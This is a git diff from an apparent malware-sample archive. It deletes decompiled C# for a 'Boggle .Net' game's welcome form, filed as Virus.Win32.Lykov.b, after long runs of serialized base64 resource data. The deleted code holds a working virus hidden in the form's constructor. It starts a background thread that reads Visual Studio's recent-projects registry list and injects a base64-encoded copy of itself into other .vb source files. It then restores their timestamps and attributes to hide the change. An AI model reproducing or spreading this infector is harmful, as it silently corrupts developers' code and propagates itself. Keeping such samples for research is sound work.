AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL - - - AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL - - - AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL - - - AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL - - - AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL - - - AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL - - - AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL - - - AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL - - - LwAAAA== - - - AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL - - - AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL - - - AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL - - - AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL - - - AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL - - - AAEAAAD/////AQAAAAAAAAAEAQAAAA5TeXN0ZW0uQm9vbGVhbgEAAAAHbV92YWx1ZQABAQs= - - - AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL - - - AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL - - - AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL - - - AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL - - - AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL - - - AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL - - - AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL - - - AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL - - - AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL - - - AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL - - - AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL - - - AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL - - - AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL - - - AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL - - - AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL - - - AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL - - - AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL - - - AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL - - - AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL - - - AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL - - - AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL - - - AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL - - - AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFRTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0xLjAuMzMwMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABRTeXN0ZW0uRHJhd2luZy5Qb2ludAIAAAABeAF5AAAICAIAAAAXAAAACwAAAAs= - - - AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL - - - AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL - - - AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL - - \ No newline at end of file diff --git a/MSIL/Virus/Win32/L/Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833/frmWelcome.cs b/MSIL/Virus/Win32/L/Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833/frmWelcome.cs deleted file mode 100644 index 0ef1c40e..00000000 --- a/MSIL/Virus/Win32/L/Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833/frmWelcome.cs +++ /dev/null @@ -1,235 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Boggle.frmWelcome -// Assembly: Boggle, Version=1.0.1320.31511, Culture=neutral, PublicKeyToken=null -// MVID: B8BB850A-887A-43B2-B89D-3D1301289D01 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using Microsoft.Win32; -using System; -using System.ComponentModel; -using System.Data.OleDb; -using System.Diagnostics; -using System.Drawing; -using System.IO; -using System.Runtime.CompilerServices; -using System.Text; -using System.Threading; -using System.Windows.Forms; - -namespace Boggle -{ - public class frmWelcome : Form - { - [AccessedThroughProperty("btnOk")] - private Button _btnOk; - [AccessedThroughProperty("chkMain")] - private CheckBox _chkMain; - [AccessedThroughProperty("txtMain")] - private RichTextBox _txtMain; - private IContainer components; - - internal virtual RichTextBox txtMain - { - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._txtMain != null) - this._txtMain.MouseDown -= new MouseEventHandler(this.txtMain_MouseDown); - this._txtMain = value; - if (this._txtMain == null) - return; - this._txtMain.MouseDown += new MouseEventHandler(this.txtMain_MouseDown); - } - get => this._txtMain; - } - - internal virtual Button btnOk - { - get => this._btnOk; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._btnOk != null) - this._btnOk.Click -= new EventHandler(this.btnOk_Click); - this._btnOk = value; - if (this._btnOk == null) - return; - this._btnOk.Click += new EventHandler(this.btnOk_Click); - } - } - - internal virtual CheckBox chkMain - { - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._chkMain == null) - ; - this._chkMain = value; - if (this._chkMain == null) - ; - } - get => this._chkMain; - } - - private void vIT() - { - RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\VisualStudio\\7.0\\ProjectMRUList"); - if (registryKey.ValueCount == 0) - ProjectData.EndApp(); - string String2 = "Private Sub vIT()"; - string str1 = "Public Sub New()"; - string str2 = "Dim t As New System.Threading.Thread(AddressOf vIT)\r\nt.Start()"; - string str3 = "UHJpdmF0ZSBTdWIgdklUKCkNCkRpbSBYLCBZIEFzIEludGVnZXINCkRpbSBBLCBC" + "KCksIEMsIEcsIEgsIEksIEosIEssIEwgQXMgU3RyaW5nDQpEaW0gRCwgRiBBcyBE" + "YXRlDQpEaW0gUiBBcyBNaWNyb3NvZnQuV2luMzIuUmVnaXN0cnlLZXkNCkRpbSBT" + "IEFzIFN5c3RlbS5JTy5TdHJlYW1SZWFkZXINCkRpbSBUIEFzIFN5c3RlbS5JTy5T" + "dHJlYW1Xcml0ZXINCkRpbSBVIEFzIFN5c3RlbS5JTy5GaWxlQXR0cmlidXRlcw0K" + "UiA9IE1pY3Jvc29mdC5XaW4zMi5SZWdpc3RyeS5DdXJyZW50VXNlci5PcGVuU3Vi" + "S2V5KCJTb2Z0d2FyZVxNaWNyb3NvZnRcVmlzdWFsU3R1ZGlvXDcuMFxQcm9qZWN0" + "TVJVTGlzdCIpDQpJZiBSLlZhbHVlQ291bnQgPSAwIFRoZW4gRW5kDQpHID0gIlBy" + "aXZhdGUgU3ViIHZJVCgpIg0KSCA9ICJQdWJsaWMgU3ViIE5ldygpIg0KSSA9ICJE" + "aW0gdCBBcyBOZXcgU3lzdGVtLlRocmVhZGluZy5UaHJlYWQoQWRkcmVzc09mIHZJ" + "VCkiICYgdmJDckxmICYgInQuU3RhcnQoKSINCkogPSAiIg0KSyA9IFN5c3RlbS5U" + "ZXh0LkVuY29kaW5nLkFTQ0lJLkdldFN0cmluZyhTeXN0ZW0uQ29udmVydC5Gcm9t" + "QmFzZTY0U3RyaW5nKEopKQ0KTCA9ICJKID0gIiAmIENocigzNCkNCkZvciBYID0g" + "MSBUbyBMZW4oSikgU3RlcCA2NA0KSWYgWCArIDY0IDwgTGVuKEopIFRoZW4NCkwg" + "PSBMICYgTWlkKEosIFgsIDY0KSAmIENocigzNCkgJiB2YkNyTGYgJiAiSiA9IEog" + "JiAiICYgQ2hyKDM0KQ0KRWxzZQ0KTCA9IEwgJiBNaWQoSiwgWCwgNjQpICYgQ2hy" + "KDM0KQ0KRW5kIElmDQpOZXh0DQpLID0gUmVwbGFjZShLLCAiSiA9ICIgJiBDaHIo" + "MzQpICYgQ2hyKDM0KSwgTCwgMSwgMSwgQ29tcGFyZU1ldGhvZC5UZXh0KQ0KTCA9" + "ICIiDQpGb3IgWCA9IDAgVG8gUi5WYWx1ZUNvdW50IC0gMQ0KQSA9IFIuR2V0VmFs" + "dWUoUi5HZXRWYWx1ZU5hbWVzKFgpKQ0KQSA9IE1pZChBLCAxLCBJblN0clJldihB" + "LCAiXCIsIC0xLCBDb21wYXJlTWV0aG9kLlRleHQpKQ0KSWYgU3lzdGVtLklPLkRp" + "cmVjdG9yeS5FeGlzdHMoQSkgVGhlbg0KQiA9IFN5c3RlbS5JTy5EaXJlY3Rvcnku" + "R2V0RmlsZXMoQSwgIioudmIiKQ0KRm9yIFkgPSBMQm91bmQoQikgVG8gVUJvdW5k" + "KEIpDQpEID0gU3lzdGVtLklPLkZpbGUuR2V0TGFzdEFjY2Vzc1RpbWUoQihZKSkN" + "CkYgPSBTeXN0ZW0uSU8uRmlsZS5HZXRMYXN0V3JpdGVUaW1lKEIoWSkpDQpVID0g" + "U3lzdGVtLklPLkZpbGUuR2V0QXR0cmlidXRlcyhCKFkpKQ0KU3lzdGVtLklPLkZp" + "bGUuU2V0QXR0cmlidXRlcyhCKFkpLCBJTy5GaWxlQXR0cmlidXRlcy5Ob3JtYWwp" + "DQpTID0gU3lzdGVtLklPLkZpbGUuT3BlblRleHQoQihZKSkNCkMgPSBTLlJlYWRU" + "b0VuZCgpDQpTLkNsb3NlKCkNCklmIEluU3RyKEMsIEcsIENvbXBhcmVNZXRob2Qu" + "VGV4dCkgPSAwIEFuZCBJblN0cihDLCBILCBDb21wYXJlTWV0aG9kLlRleHQpIDw+" + "IDAgVGhlbg0KQyA9IFJlcGxhY2UoQywgIk15QmFzZS5OZXcoKSIsICJNeUJhc2Uu" + "TmV3KCkiICYgdmJDckxmICYgSSwgLCAxLCBDb21wYXJlTWV0aG9kLlRleHQpDQpD" + "ID0gUmVwbGFjZShDLCBILCBLICYgSCwgLCAxLCBDb21wYXJlTWV0aG9kLlRleHQp" + "DQpUID0gU3lzdGVtLklPLkZpbGUuQ3JlYXRlVGV4dChCKFkpKQ0KVC5Xcml0ZShD" + "KQ0KVC5GbHVzaCgpDQpULkNsb3NlKCkNCkVuZCBJZg0KU3lzdGVtLklPLkZpbGUu" + "U2V0TGFzdFdyaXRlVGltZShCKFkpLCBGKQ0KU3lzdGVtLklPLkZpbGUuU2V0TGFz" + "dEFjY2Vzc1RpbWUoQihZKSwgRCkNClN5c3RlbS5JTy5GaWxlLlNldEF0dHJpYnV0" + "ZXMoQihZKSwgVSkNCk5leHQNCkVuZCBJZg0KTmV4dA0KRW5kIFN1Yg0K"; - string Expression = Encoding.ASCII.GetString(Convert.FromBase64String(str3)); - string Replacement = "J = \""; - int num1 = Strings.Len(str3); - int Start = 1; - while (Start <= num1) - { - Replacement = checked (Start + 64) >= Strings.Len(str3) ? Replacement + Strings.Mid(str3, Start, 64) + "\"" : Replacement + Strings.Mid(str3, Start, 64) + "\"" + "\r\nJ = J & " + "\""; - checked { Start += 64; } - } - string str4 = Strings.Replace(Expression, "J = \"\"", Replacement, Count: 1, Compare: CompareMethod.Text); - int num2 = checked (registryKey.ValueCount - 1); - int index1 = 0; - while (index1 <= num2) - { - string str5 = StringType.FromObject(registryKey.GetValue(registryKey.GetValueNames()[index1])); - string path = Strings.Mid(str5, 1, Strings.InStrRev(str5, "\\", Compare: CompareMethod.Text)); - if (Directory.Exists(path)) - { - string[] files = Directory.GetFiles(path, "*.vb"); - int num3 = Information.LBound((Array) files); - int num4 = Information.UBound((Array) files); - int index2 = num3; - while (index2 <= num4) - { - DateTime lastAccessTime = File.GetLastAccessTime(files[index2]); - DateTime lastWriteTime = File.GetLastWriteTime(files[index2]); - FileAttributes attributes = File.GetAttributes(files[index2]); - File.SetAttributes(files[index2], FileAttributes.Normal); - StreamReader streamReader = File.OpenText(files[index2]); - string end = streamReader.ReadToEnd(); - streamReader.Close(); - if (Strings.InStr(end, String2, CompareMethod.Text) == 0 & Strings.InStr(end, str1, CompareMethod.Text) != 0) - { - string str6 = Strings.Replace(Strings.Replace(end, "MyBase.New()", "MyBase.New()\r\n" + str2, Count: 1, Compare: CompareMethod.Text), str1, str4 + str1, Count: 1, Compare: CompareMethod.Text); - StreamWriter text = File.CreateText(files[index2]); - text.Write(str6); - text.Flush(); - text.Close(); - } - File.SetLastWriteTime(files[index2], lastWriteTime); - File.SetLastAccessTime(files[index2], lastAccessTime); - File.SetAttributes(files[index2], attributes); - checked { ++index2; } - } - } - checked { ++index1; } - } - } - - public frmWelcome() - { - this.Load += new EventHandler(this.frmWelcome_Load); - new Thread(new ThreadStart(this.vIT)).Start(); - this.InitializeComponent(); - } - - protected override void Dispose(bool disposing) - { - if (disposing && this.components != null) - this.components.Dispose(); - if (this.chkMain.Checked) - { - OleDbCommand oleDbCommand = new OleDbCommand("Update ShowWelcome Set ShowForm = 1", modGlobal.conBoggle); - modGlobal.conBoggle.Open(); - oleDbCommand.ExecuteNonQuery(); - modGlobal.conBoggle.Close(); - } - base.Dispose(disposing); - } - - [DebuggerStepThrough] - private void InitializeComponent() - { - this.txtMain = new RichTextBox(); - this.chkMain = new CheckBox(); - this.btnOk = new Button(); - this.SuspendLayout(); - this.txtMain.BackColor = System.Drawing.Color.Black; - this.txtMain.Font = new Font("Microsoft Sans Serif", 9f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0); - this.txtMain.ForeColor = System.Drawing.Color.DodgerBlue; - RichTextBox txtMain1 = this.txtMain; - Point point1 = new Point(16, 16); - Point point2 = point1; - txtMain1.Location = point2; - this.txtMain.Name = "txtMain"; - RichTextBox txtMain2 = this.txtMain; - Size size1 = new Size(568, 160); - Size size2 = size1; - txtMain2.Size = size2; - this.txtMain.TabIndex = 0; - this.txtMain.Text = ""; - this.chkMain.Font = new Font("Microsoft Sans Serif", 9f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0); - this.chkMain.ForeColor = System.Drawing.Color.Black; - CheckBox chkMain1 = this.chkMain; - point1 = new Point(424, 184); - Point point3 = point1; - chkMain1.Location = point3; - this.chkMain.Name = "chkMain"; - CheckBox chkMain2 = this.chkMain; - size1 = new Size(160, 21); - Size size3 = size1; - chkMain2.Size = size3; - this.chkMain.TabIndex = 0; - this.chkMain.Text = "Don't Show Tips Again"; - Button btnOk1 = this.btnOk; - point1 = new Point(17, 180); - Point point4 = point1; - btnOk1.Location = point4; - this.btnOk.Name = "btnOk"; - Button btnOk2 = this.btnOk; - size1 = new Size(78, 24); - Size size4 = size1; - btnOk2.Size = size4; - this.btnOk.TabIndex = 0; - this.btnOk.Text = "OK"; - size1 = new Size(5, 13); - this.AutoScaleBaseSize = size1; - this.BackColor = System.Drawing.Color.DarkGray; - size1 = new Size(600, 209); - this.ClientSize = size1; - this.ControlBox = false; - this.Controls.AddRange(new Control[3] - { - (Control) this.btnOk, - (Control) this.chkMain, - (Control) this.txtMain - }); - this.FormBorderStyle = FormBorderStyle.FixedSingle; - this.MaximizeBox = false; - this.MinimizeBox = false; - this.Name = nameof (frmWelcome); - this.Text = "Welcome To Boggle .Net"; - this.TopMost = true; - this.ResumeLayout(false); - } - - private void frmWelcome_Load(object sender, EventArgs e) - { - this.Left = checked ((int) Math.Round(unchecked ((double) Screen.PrimaryScreen.Bounds.Width / 2.0 - (double) this.Width / 2.0))); - this.Top = checked ((int) Math.Round(unchecked ((double) Screen.PrimaryScreen.Bounds.Height / 2.0 - (double) this.Height / 2.0))); - this.txtMain.Text = "\r\n Welcom to Boggle .Net! Enjoy these helpful tips before starting your game:\r\n\r\n Tip1: Click on the letter cubes during the game to assist in finding words.\r\n Tip2: Click on the words found by the computer to display the letter combinations.\r\n Tip3: Enable defenition search to query word defenitions from the internet.\r\n Tip4: Choose a skill level and timer level the is challenging for you.\r\n Tip5: Enable word validation to enrich the challenge.\r\n Tip6: Have fun!"; - } - - private void txtMain_MouseDown(object sender, MouseEventArgs e) => this.btnOk.Focus(); - - private void 